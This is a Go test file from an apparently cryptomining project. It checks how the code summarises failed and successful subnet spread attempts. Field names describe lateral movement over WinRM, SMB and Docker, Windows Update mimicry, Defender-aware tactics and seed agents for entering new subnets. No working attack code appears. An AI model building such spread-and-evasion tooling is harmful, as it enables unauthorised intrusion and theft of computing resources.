Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
55 lines
1.7 KiB
Go
55 lines
1.7 KiB
Go
package atlas
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/spreadrouter"
|
|
)
|
|
|
|
func TestBuildCauseOfDeathIncludesFailuresAndVaccination(t *testing.T) {
|
|
until := time.Now().UTC().Add(24 * time.Hour)
|
|
pkt := SubnetAutopsyPacket{
|
|
Prefix: "10.0.0",
|
|
FailCount: 5,
|
|
PausedUntil: &until,
|
|
LOTLAttempts: []LOTLAttemptSnapshot{
|
|
{Tier: "winrm", OK: false, Error: "access denied", Phase: "spread"},
|
|
{Tier: "smb", OK: true, Phase: "spread"},
|
|
},
|
|
Persona: "aggressive",
|
|
WSUSMimic: WSUSMimicSnapshot{FormatMimicEnabled: true, CachePeerLane: "wsus_cache_peer"},
|
|
ErasureFallback: ErasureFallbackSnapshot{ErasureLanesEnabled: true, AvailableAsFallback: true},
|
|
GossipWhispers: []GossipHint{{Tier: "docker", Condition: "defender_on", Reason: "lan gossip"}},
|
|
FailureAtlas: "docker 5/5 failed (100%)",
|
|
VaccinationLane: &spreadrouter.SpreadRouteHint{
|
|
TargetSubnet: "10.0.0",
|
|
SeedAgentID: "seed-1",
|
|
SeedAgentName: "Seed Hop",
|
|
JoinLane: "do_peer",
|
|
},
|
|
}
|
|
cause := BuildCauseOfDeath(pkt)
|
|
if !strings.Contains(cause, "immune pause") {
|
|
t.Fatalf("cause=%q", cause)
|
|
}
|
|
if !strings.Contains(cause, "winrm") || !strings.Contains(cause, "docker 5/5") {
|
|
t.Fatalf("missing failure context: %q", cause)
|
|
}
|
|
if !strings.Contains(cause, "Seed Hop") || !strings.Contains(cause, "Vaccination") {
|
|
t.Fatalf("missing vaccination: %q", cause)
|
|
}
|
|
}
|
|
|
|
func TestTrimLOTLAttemptsKeepsLastFive(t *testing.T) {
|
|
in := make([]LOTLAttemptSnapshot, 7)
|
|
for i := range in {
|
|
in[i] = LOTLAttemptSnapshot{Tier: string(rune('a' + i))}
|
|
}
|
|
out := TrimLOTLAttempts(in, SubnetAutopsyLOTLAttemptLimit)
|
|
if len(out) != 5 || out[0].Tier != "c" || out[4].Tier != "g" {
|
|
t.Fatalf("trim=%v", out)
|
|
}
|
|
}
|